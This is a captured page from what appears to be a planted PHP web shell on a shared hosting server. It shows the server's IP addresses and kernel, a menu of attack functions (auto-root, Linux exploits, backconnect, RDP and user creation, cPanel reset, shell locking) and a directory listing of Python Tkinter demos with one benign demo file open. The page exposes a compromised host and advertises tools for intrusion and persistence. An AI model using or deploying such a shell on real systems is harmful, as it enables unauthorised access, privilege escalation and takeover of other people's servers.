Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib64 /
python2.7 /
Demo /
tkinter /
matt /
[ HOME SHELL ]
Name
Size
Permission
Action
00-HELLO-WORLD.py
724
B
-rw-r--r--
00-HELLO-WORLD.pyc
1.27
KB
-rw-r--r--
00-HELLO-WORLD.pyo
1.27
KB
-rw-r--r--
README
513
B
-rw-r--r--
animation-simple.py
939
B
-rw-r--r--
animation-simple.pyc
1.68
KB
-rw-r--r--
animation-simple.pyo
1.68
KB
-rw-r--r--
animation-w-velocity-ctrl.py
1.17
KB
-rw-r--r--
animation-w-velocity-ctrl.pyc
1.98
KB
-rw-r--r--
animation-w-velocity-ctrl.pyo
1.98
KB
-rw-r--r--
bind-w-mult-calls-p-type.py
1.51
KB
-rw-r--r--
bind-w-mult-calls-p-type.pyc
1.37
KB
-rw-r--r--
bind-w-mult-calls-p-type.pyo
1.37
KB
-rw-r--r--
canvas-demo-simple.py
748
B
-rw-r--r--
canvas-demo-simple.pyc
1.39
KB
-rw-r--r--
canvas-demo-simple.pyo
1.39
KB
-rw-r--r--
canvas-gridding.py
2.22
KB
-rw-r--r--
canvas-gridding.pyc
2.27
KB
-rw-r--r--
canvas-gridding.pyo
2.27
KB
-rw-r--r--
canvas-moving-or-creating.py
2.37
KB
-rw-r--r--
canvas-moving-or-creating.pyc
2.52
KB
-rw-r--r--
canvas-moving-or-creating.pyo
2.52
KB
-rw-r--r--
canvas-moving-w-mouse.py
2.08
KB
-rw-r--r--
canvas-moving-w-mouse.pyc
2.42
KB
-rw-r--r--
canvas-moving-w-mouse.pyo
2.42
KB
-rw-r--r--
canvas-mult-item-sel.py
2.77
KB
-rw-r--r--
canvas-mult-item-sel.pyc
2.74
KB
-rw-r--r--
canvas-mult-item-sel.pyo
2.74
KB
-rw-r--r--
canvas-reading-tag-info.py
1.64
KB
-rw-r--r--
canvas-reading-tag-info.pyc
1.82
KB
-rw-r--r--
canvas-reading-tag-info.pyo
1.82
KB
-rw-r--r--
canvas-w-widget-draw-el.py
1.15
KB
-rw-r--r--
canvas-w-widget-draw-el.pyc
1.47
KB
-rw-r--r--
canvas-w-widget-draw-el.pyo
1.47
KB
-rw-r--r--
canvas-with-scrollbars.py
2.06
KB
-rw-r--r--
canvas-with-scrollbars.pyc
2.31
KB
-rw-r--r--
canvas-with-scrollbars.pyo
2.31
KB
-rw-r--r--
dialog-box.py
2.38
KB
-rw-r--r--
dialog-box.pyc
1.93
KB
-rw-r--r--
dialog-box.pyo
1.93
KB
-rw-r--r--
entry-simple.py
729
B
-rw-r--r--
entry-simple.pyc
1.05
KB
-rw-r--r--
entry-simple.pyo
1.05
KB
-rw-r--r--
entry-with-shared-variable.py
1.71
KB
-rw-r--r--
entry-with-shared-variable.pyc
1.6
KB
-rw-r--r--
entry-with-shared-variable.pyo
1.6
KB
-rw-r--r--
killing-window-w-wm.py
1.26
KB
-rw-r--r--
killing-window-w-wm.pyc
1.46
KB
-rw-r--r--
killing-window-w-wm.pyo
1.46
KB
-rw-r--r--
menu-all-types-of-entries.py
8.9
KB
-rw-r--r--
menu-all-types-of-entries.pyc
4.85
KB
-rw-r--r--
menu-all-types-of-entries.pyo
4.85
KB
-rw-r--r--
menu-simple.py
3.17
KB
-rw-r--r--
menu-simple.pyc
1.92
KB
-rw-r--r--
menu-simple.pyo
1.92
KB
-rw-r--r--
not-what-you-might-think-1.py
675
B
-rw-r--r--
not-what-you-might-think-1.pyc
1.27
KB
-rw-r--r--
not-what-you-might-think-1.pyo
1.27
KB
-rw-r--r--
not-what-you-might-think-2.py
747
B
-rw-r--r--
not-what-you-might-think-2.pyc
1.3
KB
-rw-r--r--
not-what-you-might-think-2.pyo
1.3
KB
-rw-r--r--
packer-and-placer-together.py
1.18
KB
-rw-r--r--
packer-and-placer-together.pyc
1.36
KB
-rw-r--r--
packer-and-placer-together.pyo
1.36
KB
-rw-r--r--
packer-simple.py
819
B
-rw-r--r--
packer-simple.pyc
1.39
KB
-rw-r--r--
packer-simple.pyo
1.39
KB
-rw-r--r--
placer-simple.py
1.05
KB
-rw-r--r--
placer-simple.pyc
1.26
KB
-rw-r--r--
placer-simple.pyo
1.26
KB
-rw-r--r--
pong-demo-1.py
1.51
KB
-rw-r--r--
pong-demo-1.pyc
2.08
KB
-rw-r--r--
pong-demo-1.pyo
2.08
KB
-rw-r--r--
printing-coords-of-items.py
2.34
KB
-rw-r--r--
printing-coords-of-items.pyc
2.52
KB
-rw-r--r--
printing-coords-of-items.pyo
2.52
KB
-rw-r--r--
radiobutton-simple.py
1.96
KB
-rw-r--r--
radiobutton-simple.pyc
1.82
KB
-rw-r--r--
radiobutton-simple.pyo
1.82
KB
-rw-r--r--
rubber-band-box-demo-1.py
2.08
KB
-rw-r--r--
rubber-band-box-demo-1.pyc
2.51
KB
-rw-r--r--
rubber-band-box-demo-1.pyo
2.51
KB
-rw-r--r--
rubber-line-demo-1.py
1.87
KB
-rw-r--r--
rubber-line-demo-1.pyc
2.22
KB
-rw-r--r--
rubber-line-demo-1.pyo
2.22
KB
-rw-r--r--
slider-demo-1.py
1000
B
-rw-r--r--
slider-demo-1.pyc
1.67
KB
-rw-r--r--
slider-demo-1.pyo
1.67
KB
-rw-r--r--
subclass-existing-widgets.py
677
B
-rw-r--r--
subclass-existing-widgets.pyc
1.21
KB
-rw-r--r--
subclass-existing-widgets.pyo
1.21
KB
-rw-r--r--
two-radio-groups.py
3.67
KB
-rw-r--r--
two-radio-groups.pyc
2.14
KB
-rw-r--r--
two-radio-groups.pyo
2.14
KB
-rw-r--r--
window-creation-more.py
1020
B
-rw-r--r--
window-creation-more.pyc
1.68
KB
-rw-r--r--
window-creation-more.pyo
1.68
KB
-rw-r--r--
window-creation-simple.py
815
B
-rw-r--r--
window-creation-simple.pyc
1.6
KB
-rw-r--r--
window-creation-simple.pyo
1.6
KB
-rw-r--r--
window-creation-w-location.py
1.29
KB
-rw-r--r--
window-creation-w-location.pyc
2.05
KB
-rw-r--r--
window-creation-w-location.pyo
2.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : printing-coords-of-items.py
from Tkinter import * # this file demonstrates the creation of widgets as part of a canvas object class Test(Frame): ################################################################### ###### Event callbacks for THE CANVAS (not the stuff drawn on it) ################################################################### def mouseDown(self, event): # see if we're inside a dot. If we are, it # gets tagged as CURRENT for free by tk. if not event.widget.find_withtag(CURRENT): # there is no dot here, so we can make one, # and bind some interesting behavior to it. # ------ # create a dot, and mark it as current fred = self.draw.create_oval( event.x - 10, event.y -10, event.x +10, event.y + 10, fill="green") self.draw.tag_bind(fred, "<Enter>", self.mouseEnter) self.draw.tag_bind(fred, "<Leave>", self.mouseLeave) self.lastx = event.x self.lasty = event.y def mouseMove(self, event): self.draw.move(CURRENT, event.x - self.lastx, event.y - self.lasty) self.lastx = event.x self.lasty = event.y ################################################################### ###### Event callbacks for canvas ITEMS (stuff drawn on the canvas) ################################################################### def mouseEnter(self, event): # the "current" tag is applied to the object the cursor is over. # this happens automatically. self.draw.itemconfig(CURRENT, fill="red") print self.draw.coords(CURRENT) def mouseLeave(self, event): # the "current" tag is applied to the object the cursor is over. # this happens automatically. self.draw.itemconfig(CURRENT, fill="blue") def createWidgets(self): self.QUIT = Button(self, text='QUIT', foreground='red', command=self.quit) self.QUIT.pack(side=LEFT, fill=BOTH) self.draw = Canvas(self, width="5i", height="5i") self.draw.pack(side=LEFT) Widget.bind(self.draw, "<1>", self.mouseDown) Widget.bind(self.draw, "<B1-Motion>", self.mouseMove) def __init__(self, master=None): Frame.__init__(self, master) Pack.config(self) self.createWidgets() test = Test() test.mainloop()
Close